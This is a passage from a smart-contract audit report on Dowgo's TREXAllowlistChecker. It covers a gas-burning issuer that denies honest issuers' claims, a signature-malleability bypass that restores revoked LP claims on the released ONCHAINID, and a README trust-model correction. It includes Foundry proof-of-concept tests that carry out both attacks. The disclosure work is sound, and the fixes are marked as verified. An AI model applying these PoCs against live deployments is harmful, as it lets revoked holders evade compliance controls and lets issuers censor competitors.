Impact: A registered issuer gains a switch over other issuers' claim holders. The issuer cannot install the claim itself - only the holder's own identity key can do that - so the shape is that a holder accepts a claim while the issuer behaves, and a later upgrade or behaviour toggle turns that record into a switch. Once activated, it denies `LIQUIDITY_ALLOWED` to every affected account whose valid claim sits at a higher index; turning it off restores them. Nothing is transferred, so the payoff is censorship rather than extraction: the deviating issuer can keep a competitor's capital out of the pool and forgoes nothing, while the victim loses fee income with no on-chain signal distinguishing this from ordinary ineligibility. The honest issuer's attestation is nullified without its knowledge.

The blast radius is wider than the documented one. `README.md` states that a misbehaving issuer "denies its own claim holders their liquidity flag", which reads as the claims that depend on it; what the code does is deny those holders the liquidity flag entirely, including entitlements sourced from an issuer that is working correctly.

The swap right is not at stake on this path, since it is decided before the probe runs, and the exit path stays ungated - so this denies liquidity provision rather than locking funds. The project's existing gas-bomb test registers the bomb after the honest issuer and puts the victim's only claim on the bomb, where a swap-only result is the correct answer either way; it therefore detects a propagated revert and cannot detect a wrongly withheld flag.

Proof of Concept: Save it as `test/DOWGO-pocs/GasBurningIssuerDeniesLaterIssuers.t.sol` and run with:

```
forge test --match-path test/DOWGO-pocs/GasBurningIssuerDeniesLaterIssuers.t.sol -vv
```

Two tests pass. The gas burner destroys an honest later issuer's valid claim, while the reverting-issuer control is absorbed and the later issuer still wins the flag - which is what isolates the defect as a missing gas bound rather than a missing catch.

```
[PASS] test_PoC_GasBurningIssuerDeniesLaterIssuers() (gas: 3930359)
[PASS] test_PoC_RevertingIssuerStaysConfined() (gas: 2035995)
Suite result: ok. 2 passed; 0 failed; 0 skipped
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";
import {
    MockIdentity,
    MockClaimIssuer,
    MockTrustedIssuersRegistry,
    MockIdentityRegistry,
    MockToken
} from "../TREXAllowlistChecker.t.sol";
import {GasBombIssuer} from "../TREXAllowlistCheckerHardening.t.sol";

interface IBoolIssuer {
    function isClaimValid(address identity, uint256 topic, bytes calldata sig, bytes calldata data)
        external
        view
        returns (bool);
}

/// @notice `probeLpClaim`'s per-issuer `try/catch` isolates a trusted issuer that REVERTS, but not
///         one that consumes the probe's gas. The call at the issuer carries no `{gas:}` modifier,
///         so a single issuer receives 63/64 of the probe's remaining budget; the surviving 1/64
///         is then spent by the NEXT iteration's unguarded `getClaim`, whose out-of-gas is inside
///         no `try/catch` and reverts the whole probe. Every trusted issuer below the burner loses
///         its turn, so a holder's independently valid claim from an honest issuer is destroyed
contract GasBurningIssuerDeniesLaterIssuersTest is Test {
    uint256 constant LP_TOPIC = 42;
    bytes constant SIG = hex"beef";
    bytes constant DATA = hex"01";

    TREXAllowlistChecker checker;
    MockIdentityRegistry registry;
    MockTrustedIssuersRegistry issuersRegistry;
    MockToken token;
    MockIdentity bobId;

    address bob = address(0xB0B);

    /// @dev Bob holds a valid LP claim from an honest registry-trusted issuer AND a claim from a
    ///      gas-burning one, which is the ordinary shape of an LP carrying redundant
    ///      attestations. `burnerFirst` chooses only the order the registry returns them in
    function _world(bool burnerFirst) internal {
        checker = new TREXAllowlistChecker(LP_TOPIC);
        registry = new MockIdentityRegistry();
        issuersRegistry = new MockTrustedIssuersRegistry();
```

```
        registry.setIssuersRegistry(address(issuersRegistry));
        token = new MockToken(address(registry));

        bobId = new MockIdentity();
        registry.setIdentity(bob, address(bobId));
        registry.setVerified(bob, true);

        address burner = address(new GasBombIssuer());
        address honest = address(new MockClaimIssuer(true));

        if (burnerFirst) {
            issuersRegistry.addTrustedIssuer(LP_TOPIC, burner);
            issuersRegistry.addTrustedIssuer(LP_TOPIC, honest);
        } else {
            issuersRegistry.addTrustedIssuer(LP_TOPIC, honest);
            issuersRegistry.addTrustedIssuer(LP_TOPIC, burner);
        }

        bobId.addClaim(LP_TOPIC, burner, SIG, DATA);
        bobId.addClaim(LP_TOPIC, honest, SIG, DATA);
    }

    function _flags() internal view returns (PermissionFlag) {
        (bool ok, bytes memory ret) = address(checker).staticcall(
            abi.encodeWithSelector(TREXAllowlistChecker.checkAllowlist.selector, bob, address(token))
        );
        assertTrue(ok, "checkAllowlist must stay total and never propagate a revert");
        return PermissionFlag.wrap(abi.decode(ret, (bytes2)));
    }

    function _hasLiquidity() internal view returns (bool) {
        PermissionFlag flags = _flags();
        assertTrue(
            (flags & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED,
            "the swap right is not at stake on this path in either ordering"
        );
        return (flags & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
    }

    function test_PoC_GasBurningIssuerDeniesLaterIssuers() public {
        // The honest issuer is reached before the burner, so its valid claim is honoured
        _world(false);
        assertTrue(_hasLiquidity(), "control: the honest issuer's claim grants liquidity when reached
        ↪  first");

        // Same two issuers, same two claims, same validity - only the registry's order differs
        _world(true);
        assertFalse(
            _hasLiquidity(),
            "VULNERABLE: a gas-burning issuer destroyed an honest issuer's independently valid claim"
        );
    }

    /// @dev A trusted issuer that REVERTS is correctly confined to itself, which is what the
    ///      per-issuer catch was written for. Isolating this case shows the defect above is the
    ///      missing gas bound, not a missing catch
    function test_PoC_RevertingIssuerStaysConfined() public {
        checker = new TREXAllowlistChecker(LP_TOPIC);
        registry = new MockIdentityRegistry();
        issuersRegistry = new MockTrustedIssuersRegistry();
        registry.setIssuersRegistry(address(issuersRegistry));
        token = new MockToken(address(registry));
```

```
        bobId = new MockIdentity();
        registry.setIdentity(bob, address(bobId));
        registry.setVerified(bob, true);

        MockClaimIssuer reverting = new MockClaimIssuer(true);
        reverting.setShouldRevert(true);
        address honest = address(new MockClaimIssuer(true));

        issuersRegistry.addTrustedIssuer(LP_TOPIC, address(reverting));
        issuersRegistry.addTrustedIssuer(LP_TOPIC, honest);
        bobId.addClaim(LP_TOPIC, address(reverting), SIG, DATA);
        bobId.addClaim(LP_TOPIC, honest, SIG, DATA);

        assertTrue(_hasLiquidity(), "a reverting issuer at index 0 does not deny the honest issuer its
        ↪  turn");
    }
}
```

Recommended Mitigation: Give each issuer its own bounded frame rather than letting one issuer draw on the shared budget. Moving the per-issuer body - the `getClaim` read, the binding checks and the `isClaimValid` call - into an `external` function invoked as `try this.<member>{gas: PER_ISSUER_GAS}(...)` makes an out-of-gas issuer reach `continue` in the same way a reverting issuer already does, becoming one caught frame, which is what the existing comment already claims happens.

Three consequences to plan for rather than discover.

The new member is `external` and permissionless, inheriting exactly the property the caller-supplied-registry finding describes. It is `view` and its result is consumed only by the loop, so nothing on chain changes, but it deserves the same NatSpec caveat.

The stipend must clear a legitimate deep-proxy issuer. `isClaimValid` on a real ONCHAINID `ClaimIssuer` runs an `ecrecover` plus key and revocation reads, and an issuer behind a proxy costs more; sized to the typical case it reproduces this finding one level down, denying honest issuers instead of protecting them. Sizing from a measured worst case, or taking it as a constructor parameter, narrows that range rather than closing it - trusted issuers are arbitrary contracts whose cost can rise after the measurement. Each iteration also pays for a self-staticcall from inside the same 200,000-gas frame. That overhead is modest beside the roughly 19,745 gas an issuer iteration already costs - the 19,745 is the existing per-iteration cost, not the price of the isolation - but it is not zero and it scales with issuers reached, so it should be measured against the outer cap rather than assumed negligible.

Per-issuer stipends do not by themselves fix the outer cap. `LP_PROBE_GAS` still bounds the whole loop, so `N` issuers at a stipend summing past it exhausts the frame exactly as today, only more predictably. The per-issuer bound is the isolation fix; completeness needs an outer bound admitting the registry's permitted issuer count, and the two must be sized together.

Dowgo: Fixed in commits 25ba37c, 0de6ba6.

Cyfrin: Verified; fixed per-call limits bound individual issuer calls, but cumulative costs can still exhaust the overall frame.

7.2.4 The released ONCHAINID `ClaimIssuer` keys revocation on malleable signature bytes, so a revoked LP claim can be restored up to four times; testing against the hardened, unreleased upstream `main` hides it

Description: `TREXAllowlistChecker::probeLpClaim` delegates the whole valid-and-not-revoked decision to `ClaimIssuer::isClaimValid`, and the README states that `LIQUIDITY_ALLOWED` requires a claim that is valid and non-revoked.

`ClaimIssuer` keys revocation on the exact signature bytes, while `Identity::getRecoveredAddress` decides which byte strings recover the signer. In `@onchain-id/solidity` release `2.2.1`, the current release, that helper normalises a `v` below 27 by adding 27 and places no bound on `s`. Four distinct byte strings therefore recover the same issuer key: the canonical form, the same with `v` reduced by 27, and the two low-`s` complements of each.

Revoking one leaves the other three unrevoked. The holder calls `addClaim` again with a re-encoding, whose write-time validity check passes because that check is also revocation-by-bytes, and `checkAllowlist` returns `LIQUIDITY_ALLOWED` again.

This is invisible when testing against ONCHAINID source cloned from the upstream `main` branch, which carries a hardening release `2.2.1` does not: it rejects a non-canonical `v` outright instead of normalising it, and rejects an `s` above the halved curve order. The `onchain-id` copy in the audit workspace is such an unreleased upstream snapshot, not locally altered and not part of this repository, which vendors no ONCHAINID source. `test/DOWGO-pocs/OidBytecode.sol`, the fixture the other PoCs label the real OnchainID runtime, is compiled from it, so any revocation test run against that fixture exercises a hardened OnchainID that deployments on release `2.2.1` do not run.

Impact: An LP whose credential has been revoked by its issuer keeps `LIQUIDITY_ALLOWED` and keeps providing and removing liquidity in the permissioned pool. The issuer's revocation transaction succeeds and emits `ClaimRevoked`, so off-chain monitoring records the revocation as effective.

The bypass is finite: the issuer wins after revoking all four encodings. Nothing in ERC-3643, ONCHAINID or this repository tells it there are four.

This is a different mechanism from the revocation-misdirection finding filed alongside it. That one misdirects which bytes the issuer revokes and is permanent; this one re-encodes the same signature and is bounded at four rounds. They are independent: the misdirection works against the hardened build, and this one works against a canonical identity.

Upstream status:

The hardening is already merged upstream, in `50b06f8` ("identity: reject malleable ECDSA signatures in getRecoveredAddress"), merged 2026-08-12 via pull request 170. It changes `Identity::getRecoveredAddress` to reject a non-canonical `v` rather than normalise it, and to reject an `s` above the halved curve order, and it adds a regression test at `test/claim-issuers/revocation-malleability.test.ts`.

That commit is the exact content of the audit workspace's copy, which is why the `OidBytecode` fixture is immune.

Nothing needs to be reported upstream. The gap is release timing, not an unfixed bug: the commit is on `main` but carries no release tag, and `2.2.1` predates it. Any deployment on the current release has the vulnerable helper.

Proof of Concept: Save as `test/DOWGO-pocs/DependencyFidelityRevocationBypass.t.sol` and run with:

```
forge test --match-path test/DOWGO-pocs/DependencyFidelityRevocationBypass.t.sol -vv
```

It also needs `test/DOWGO-pocs/DependencyFidelityUpstreamOid.sol`, a 48KB helper embedding the creation bytecode of the unhardened `Identity` and `ClaimIssuer` as shipped in release `2.2.1`. That file is too large to inline here and carries its own regeneration recipe in its header: solc 0.8.17, london, optimizer 200.

The contract under test is the real, unmodified `TREXAllowlistChecker`. The headline test asserts in order: a genuine claim grants `LIQUIDITY_ALLOWED`; `revokeClaimBySignature` strips it; re-installing under the second encoding restores it. `SWAP_ALLOWED` is asserted on every read, so only the LP bit moves.

Controls:

- `test_control_vendoredPatchedBuildRejectsTheReEncoding` runs the identical script against the upstream `main` build, where `addClaim` reverts and the flag stays revoked; the only variable between the two runs is which OnchainID build is deployed, so the harness is not the cause
- `test_control_thePublishedAndVendoredIssuersDisagreeOnlyOnEncoding` shows both builds accept the canonical encoding identically and differ only on the non-canonical `v` and the high `s`
- `test_control_noClaimMeansSwapOnly` shows an account with no claim is exactly `SWAP_ALLOWED`
- `test_bypassIsBoundedAtFourEncodings` states the honest bound: once all four encodings are revoked the holder cannot restore the flag, and a malformed fifth is rejected by `addClaim`

```
[PASS] test_bypassIsBoundedAtFourEncodings() (gas: 8839085)
[PASS] test_control_noClaimMeansSwapOnly() (gas: 7355155)
[PASS] test_control_thePublishedAndVendoredIssuersDisagreeOnlyOnEncoding() (gas: 14474728)
```

```
[PASS] test_control_vendoredPatchedBuildRejectsTheReEncoding() (gas: 7961163)
[PASS] test_revokedLpClaimIsRestoredAgainstPublishedOnchainId() (gas: 8053174)
Logs:
  revoked-then-restored LIQUIDITY_ALLOWED: true
Suite result: ok. 5 passed; 0 failed; 0 skipped
```

Verified independently of the PoC: the audit workspace's `Identity` source is byte-identical to upstream `main` at `50b06f8` and differs from release `2.2.1`.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

// ------------------------------------------------------------------------
// `probeLpClaim` delegates "is this LP claim still valid?" entirely to the claim issuer's
// `isClaimValid`. Against the ONCHAINID release that real ERC-3643 deployments actually run
// (`@onchain-id/solidity`, embedded verbatim in DependencyFidelityUpstreamOid.sol), that oracle
// keys revocation on the exact 65 signature BYTES while accepting four distinct byte encodings of
// the same ECDSA signature. A holder whose LP credential has been revoked therefore re-installs it
// under a different encoding and `checkAllowlist` hands back LIQUIDITY_ALLOWED again.
//
// This is invisible when testing against upstream main: external-dependencies/onchain-id/contracts/
// Identity.sol is the unreleased upstream snapshot (50b06f8: canonical-v + EIP-2 low-s guards) that
// the published package does not have, and test/DOWGO-pocs/OidBytecode.sol - the fixture every
// existing PoC treats as "the REAL OnchainID runtime" - is compiled from that hardened source. The
↪  controls
// below run the same script against both builds to show the difference is the dependency, not the
// harness.
//
// Registries are the verbatim ERC-3643 ports from DependencyFidelityDifferential.t.sol. The
// contract under test is the real, unmodified src/TREXAllowlistChecker.sol.
// ------------------------------------------------------------------------

import {Test, console2} from "forge-std/Test.sol";
import {TREXAllowlistChecker} from "../../src/TREXAllowlistChecker.sol";
import {
    PermissionFlag,
    PermissionFlags
} from "@uniswap/v4-periphery/src/hooks/permissionedPools/libraries/PermissionFlags.sol";
import {UpstreamOid} from "./DependencyFidelityUpstreamOid.sol";
import {OidBytecode} from "./OidBytecode.sol";
import {
    TrustedIssuersRegistryPort,
    ClaimTopicsRegistryPort,
    IdentityRegistryPort,
    TokenPort,
    IOid
} from "./DependencyFidelityDifferential.t.sol";

contract DependencyFidelityRevocationBypassTest is Test {
    uint256 internal constant LP_TOPIC = 42;
    /// @dev secp256k1 group order.
    uint256 internal constant N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141;

    TREXAllowlistChecker internal checker;
    ClaimTopicsRegistryPort internal ctr;
    TrustedIssuersRegistryPort internal tir;
    IdentityRegistryPort internal ir;
    TokenPort internal token;

    address internal alice;
    address internal aliceId;
    address internal issuer;
    address internal issuerKey;
```

```
    uint256 internal issuerPk;

    bytes internal constant DATA = hex"c0ffee";

    function _create(bytes memory init) internal returns (address a) {
        assembly {
            a := create(0, add(init, 0x20), mload(init))
        }
        require(a != address(0), "deploy failed");
    }

    function _one(uint256 t) internal pure returns (uint256[] memory a) {
        a = new uint256[](1);
        a[0] = t;
    }

    /// @param upstream true => the published @onchain-id/solidity build; false => the audit
    ///                 workspace's upstream-main external-dependencies/onchain-id build.
    function _world(bool upstream) internal {
        alice = makeAddr("alice");
        (issuerKey, issuerPk) = makeAddrAndKey("issuer-key");

        ctr = new ClaimTopicsRegistryPort(); // no required topics: the LP topic is deliberately NOT
        tir = new TrustedIssuersRegistryPort(); // one of them, which is why probeLpClaim exists.
        ir = new IdentityRegistryPort(ctr, tir);
        token = new TokenPort(address(ir));

        aliceId = upstream
            ? _create(abi.encodePacked(UpstreamOid.identityCreation(), abi.encode(alice, false)))
            : _create(abi.encodePacked(OidBytecode.identityCreation(), abi.encode(alice, false)));
        issuer = upstream
            ? _create(abi.encodePacked(UpstreamOid.claimIssuerCreation(), abi.encode(issuerKey)))
            : _create(abi.encodePacked(OidBytecode.claimissuerCreation(), abi.encode(issuerKey)));

        ir.registerIdentity(alice, aliceId);
        tir.addTrustedIssuer(issuer, _one(LP_TOPIC));
        assertTrue(ir.isVerified(alice), "swap gate must be open throughout");
    }

    /// @dev The four byte encodings of one ECDSA signature that the PUBLISHED ClaimIssuer accepts:
    ///      `getRecoveredAddress` normalises `v < 27` to `v + 27` and never bounds `s`, so
    ///      (r,s,v), (r,s,v-27), (r,N-s,v^1) and (r,N-s,(v^1)-27) all recover the same key.
    function _encodings() internal view returns (bytes[4] memory out) {
        bytes32 dataHash = keccak256(abi.encode(aliceId, LP_TOPIC, DATA));
        bytes32 prefixed = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(issuerPk, prefixed);
        uint8 vFlip = v == 27 ? 28 : 27;
        bytes32 sFlip = bytes32(N - uint256(s));
        out[0] = abi.encodePacked(r, s, v);
        out[1] = abi.encodePacked(r, s, uint8(v - 27));
        out[2] = abi.encodePacked(r, sFlip, vFlip);
        out[3] = abi.encodePacked(r, sFlip, uint8(vFlip - 27));
    }

    function _install(bytes memory sig) internal {
        vm.prank(alice);
        IOid(aliceId).addClaim(LP_TOPIC, 1, issuer, sig, DATA, "");
    }

    function _revoke(bytes memory sig) internal {
        vm.prank(issuerKey);
        IOid(issuer).revokeClaimBySignature(sig);
    }
```

```
    function _lp() internal view returns (bool) {
        PermissionFlag f = checker.checkAllowlist(alice, address(token));
        assertTrue((f & PermissionFlags.SWAP_ALLOWED) == PermissionFlags.SWAP_ALLOWED, "swap flag");
        return (f & PermissionFlags.LIQUIDITY_ALLOWED) == PermissionFlags.LIQUIDITY_ALLOWED;
    }

    function setUp() public {
        checker = new TREXAllowlistChecker(LP_TOPIC);
    }

    // ------------------------------------------------------------------------
    // THE FINDING: against the PUBLISHED OnchainID, one revocation is not enough.
    // ------------------------------------------------------------------------
    function test_revokedLpClaimIsRestoredAgainstPublishedOnchainId() public {
        _world(true);
        bytes[4] memory e = _encodings();

        _install(e[0]);
        assertTrue(_lp(), "1. genuine claim grants LIQUIDITY_ALLOWED");

        _revoke(e[0]);
        assertFalse(_lp(), "2. the issuer revokes it and the flag is stripped");

        // The issuer has done everything ERC-3643 asks of it. The holder simply re-installs the
        // SAME signature under a different byte encoding.
        _install(e[1]);
        assertTrue(_lp(), "3. LIQUIDITY_ALLOWED IS BACK after a revoked claim was re-encoded");

        console2.log("revoked-then-restored LIQUIDITY_ALLOWED:", _lp());
    }

    /// @dev Honest impact bound: the bypass is finite. The issuer wins after revoking all four
    ///      encodings - but nothing in ERC-3643, ONCHAINID or this repo tells it there are four.
    function test_bypassIsBoundedAtFourEncodings() public {
        _world(true);
        bytes[4] memory e = _encodings();
        for (uint256 i = 0; i < 4; i++) {
            _install(e[i]);
            assertTrue(_lp(), "each encoding restores the flag");
            _revoke(e[i]);
            assertFalse(_lp(), "each revocation strips it again");
        }
        // a fifth encoding does not exist: a malformed one is rejected by addClaim itself
        vm.expectRevert();
        _install(abi.encodePacked(bytes32(0), bytes32(0), uint8(27)));
    }

    // ------------------------------------------------------------------------
    // CONTROLS
    // ------------------------------------------------------------------------

    /// @dev Control 1 - the harness is not the cause. Running the identical script against the
    ///      hardened upstream-main external-dependencies/onchain-id build, the re-encoded
    ///      signature is rejected by `addClaim` itself and the flag stays revoked. The only
    ///      difference between the two runs is which ONCHAINID build is deployed.
    function test_control_vendoredPatchedBuildRejectsTheReEncoding() public {
        _world(false);
        bytes[4] memory e = _encodings();

        _install(e[0]);
        assertTrue(_lp(), "vendored build: genuine claim grants the flag");
        _revoke(e[0]);
```

```
        assertFalse(_lp(), "vendored build: revocation strips the flag");

        vm.expectRevert(bytes("invalid claim"));
        _install(e[1]);
        assertFalse(_lp(), "vendored build: the flag stays revoked");
    }

    /// @dev Control 2 - the two builds really are different contracts, and only on this axis: the
    ///      published build validates a v-in-{0,1} / high-s encoding, the vendored one does not,
    ///      while both validate the canonical encoding identically.
    function test_control_thePublishedAndVendoredIssuersDisagreeOnlyOnEncoding() public {
        _world(true);
        address upstreamIssuer = issuer;
        address upstreamId = aliceId;
        bytes[4] memory e = _encodings();

        _world(false);
        // same key, same identity address content-wise; re-sign for the vendored identity address
        address vendoredIssuer = issuer;

        // canonical encoding: both accept, for their own identity
        assertTrue(
            IOid(upstreamIssuer).isClaimValid(upstreamId, LP_TOPIC, e[0], DATA), "published accepts
            ↪  canonical"
        );
        bytes[4] memory e2 = _encodings();
        assertTrue(IOid(vendoredIssuer).isClaimValid(aliceId, LP_TOPIC, e2[0], DATA), "vendored accepts
        ↪  canonical");

        // re-encoded: published accepts, vendored refuses
        assertTrue(IOid(upstreamIssuer).isClaimValid(upstreamId, LP_TOPIC, e[1], DATA), "published
        ↪  accepts v=0/1");
        assertFalse(IOid(vendoredIssuer).isClaimValid(aliceId, LP_TOPIC, e2[1], DATA), "vendored rejects
        ↪  v=0/1");
        assertTrue(IOid(upstreamIssuer).isClaimValid(upstreamId, LP_TOPIC, e[2], DATA), "published
        ↪  accepts high-s");
        assertFalse(IOid(vendoredIssuer).isClaimValid(aliceId, LP_TOPIC, e2[2], DATA), "vendored rejects
        ↪  high-s");
    }

    /// @dev Control 3 - the LP flag really is what is moving. The swap flag is asserted on every
    ///      read inside `_lp()`, and with no claim at all the account is SWAP_ALLOWED only.
    function test_control_noClaimMeansSwapOnly() public {
        _world(true);
        assertFalse(_lp(), "no claim => no liquidity flag");
        assertTrue(
            checker.checkAllowlist(alice, address(token)) == PermissionFlags.SWAP_ALLOWED, "exactly
            ↪  SWAP_ALLOWED"
        );
    }
}
```

Recommended Mitigation: Decide deliberately which OnchainID the deployment targets, and make the repository say so. If the hardening in `50b06f8` is required, onboarding must refuse `ClaimIssuer` implementations lacking the canonical-`v` and low-`s` guards. Otherwise test the repository's revocation reasoning against release `2.2.1`, the code that is actually deployed.

The cheapest durable resolution is to wait for, or ask ONCHAINID for, a release carrying `50b06f8` and pin to it. Until such a release exists, a deployment running release `2.2.1` is exposed regardless of what the repository tests against.

The checker cannot fix ONCHAINID, so state the dependency in the trust model: the non-revocation property of

`LIQUIDITY_ALLOWED` is only as strong as the registered `ClaimIssuer` implementation, and the current release is bypassable up to four times per signature.

Operationally, restrict the LP topic's trusted-issuer set to `ClaimIssuer` deployments carrying the malleability guards.

Dowgo: Fixed in commits eaa365c, ecbf903.

Cyfrin: Verified.

7.3 Informational

7.3.1 README understates the authority of a token-controlled identity registry

Description: `TREXAllowlistChecker` trusts the registry currently returned by `token.identityRegistry()`. The token owner can replace that registry, and a hostile replacement can return `true` from `isVerified` and synthesize the identity, issuer registry, trusted issuer, and claim data needed to grant both `SWAP_ALLOWED` and `LIQUIDITY_ALLOWED`.

This behavior is within the token owner's existing trust boundary, but it contradicts `README.md`, which states that wrapping a hostile token causes the checker to degrade safely to `NONE` or `SWAP_ALLOWED`. The reachable result also includes a full permission grant.

Impact: Pool participants may underestimate the authority held by token governance and incorrectly assume that a hostile or replaced registry can only deny permissions.

Recommended Mitigation: Correct the `README.md` trust-model statement and monitor the token's `IdentityRegistryAdded` event. Pin the registry only if deployment governance explicitly requires it.

Dowgo: Fixed in commit 2fb0c1c.

Cyfrin: Verified.